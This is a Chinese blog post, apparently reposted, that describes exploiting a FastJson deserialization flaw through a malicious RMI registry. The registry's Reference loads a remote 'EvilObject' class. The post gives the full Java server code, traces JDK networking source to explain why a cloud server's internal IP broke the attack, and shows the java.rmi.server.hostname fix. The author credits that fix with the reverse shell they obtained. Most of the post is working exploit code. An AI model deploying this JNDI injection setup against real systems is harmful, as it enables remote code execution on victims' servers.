内容简介:去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。当时使用的启动rmi服务的java代码。
去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。
最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。
失败原因
当时使用的启动rmi服务的 java 代码。
RMIService.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIService{
public static void main(String args[])throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
RMI在绑定refObjWrapper时, 绑定的其实是refObjWrapper_Stub
启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。
在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。
RMI ReferenceWrapper_Stub
在实例化ReferenceWrapper_Stub时,
String var7 = resampleLocalHost();
if (var6 == null) {
var3 = new TCPEndpoint(var7, var0, var1, var2);
var6 = new LinkedList();
var6.add(var3);
var3.listenPort = var0;
var3.transport = new TCPTransport(var6);
localEndpoints.put(var5, var6);
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for socket factory " + var2 + " on port " + var0);
}
} else {
synchronized(var6) {
var3 = (TCPEndpoint)var6.getLast();
String var9 = var3.host;
int var10 = var3.port;
TCPTransport var11 = var3.transport;
if (var7 != null && !var7.equals(var9)) {
if (var10 != 0) {
var6.clear();
}
var3 = new TCPEndpoint(var7, var10, var1, var2);
var3.listenPort = var0;
var3.transport = var11;
var6.add(var3);
}
}
}
通过resampleLocalHost来获取 Reference 要引用到的ip
private static String resampleLocalHost(){
String var0 = getHostnameProperty();
Map var1 = localEndpoints;
synchronized(localEndpoints) {
if (var0 != null) {
if (!localHostKnown) {
setLocalHost(var0);
} else if (!var0.equals(localHost)) {
localHost = var0;
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "updated local hostname to: " + localHost);
}
}
}
return localHost;
}
}
首先尝试使用getHostnameProperty来获取ip
private static String getHostnameProperty(){
return (String)AccessController.doPrivileged(new GetPropertyAction("java.rmi.server.hostname"));
}
但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。
当从getHostnameProperty获取ip失败时, 直接返回localhost属性。
localhost属性在静态方法中被设置。
static {
if (localHost == null) {
try {
InetAddress var0 = InetAddress.getLocalHost();
byte[] var1 = var0.getAddress();
if (var1[0] == 127 && var1[1] == 0 && var1[2] == 0 && var1[3] == 1) {
localHostKnown = false;
}
if (getBoolean("java.rmi.server.useLocalHostName")) {
localHost = TCPEndpoint.FQDN.attemptFQDN(var0);
} else {
localHost = var0.getHostAddress();
}
} catch (Exception var2) {
localHostKnown = false;
localHost = null;
}
}
if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) {
TCPTransport.tcpLog.log(Log.BRIEF, "localHostKnown = " + localHostKnown + ", localHost = " + localHost);
}
localEndpoints = new HashMap();
}
这里使用了InetAddress.getLocalHost()来获取ip
public static InetAddress getLocalHost()throws UnknownHostException {
SecurityManager security = System.getSecurityManager();
try {
String local = impl.getLocalHostName();
// 获取HostName, linux系统可以通过修改/etc/hostname文件内容来设置hostname。
if (security != null) {
security.checkConnect(local, -1);
}
if (local.equals("localhost")) {
return impl.loopbackAddress();
}
InetAddress ret = null;
synchronized (cacheLock) {
long now = System.currentTimeMillis();
if (cachedLocalHost != null) {
if ((now - cacheTime) < maxCacheTime) // Less than 5s old?
ret = cachedLocalHost;
else
cachedLocalHost = null;
}
// we are calling getAddressesFromNameService directly
// to avoid getting localHost from cache
if (ret == null) {
InetAddress[] localAddrs;
try {
localAddrs =
InetAddress.getAddressesFromNameService(local, null);
//使用该方法获取ip,如果hostname是域名,会把域名转换为对应ip
//如果hostname不合法, 返回各网卡的ip。
} catch (UnknownHostException uhe) {
// Rethrow with a more informative error message.
UnknownHostException uhe2 =
new UnknownHostException(local + ": " +
uhe.getMessage());
uhe2.initCause(uhe);
throw uhe2;
}
cachedLocalHost = localAddrs[0]; // get en0
cacheTime = now;
ret = localAddrs[0];
}
}
return ret;
} catch (java.lang.SecurityException e) {
return impl.loopbackAddress();
}
}
由于ECS的hostname一般都长这个样子
所以肯定不是合法的域名或者ip了, 那么Reference的ip 就是获取的en0的ip,
就成了一个内网ip, 导致访问引用失败。
这里只要把Reference引用到公网ip上 就能成功利用了。
所以以前可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效,很麻烦。
从上面可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。
所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
public class RMIService{
public static void main(String args[])throws Exception {
System.setProperty("java.rmi.server.hostname", "你的公网ip");
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("EvilObject", "EvilObject", "http://127.0.0.1:8000/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'");
registry.bind("refObj", refObjWrapper);
}
}
再用nmap扫描, 就能够发现已经变为公网ip了。
以上所述就是小编给大家介绍的《RMI ReferenceWrapper_Stub With Hostname》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Web信息架构(第3版)
Peter Morville、Louis Rosenfeld / 陈建勋 / 电子工业出版社 / 2008年8月 / 85.00
本书涵盖了信息架构基本原理和实践应用的方方面面。全书共7个部分,包括信息架构概述、信息架构的基本原理、信息架构的开发流程和方法论、信息架构实践、信息架构与组织、两个案例研究,以及参考资料清单。 本书兼具较高的理论价值和实用价值,曾被Web设计领域多本书籍重点推荐,是信息架构领域公认的经典书,不论新手还是专家都能各取所需。本书可供Web设计与开发者、Web架构师、网站管理者及信息管理相关人员参......一起来看看 《Web信息架构(第3版)》 这本书的介绍吧!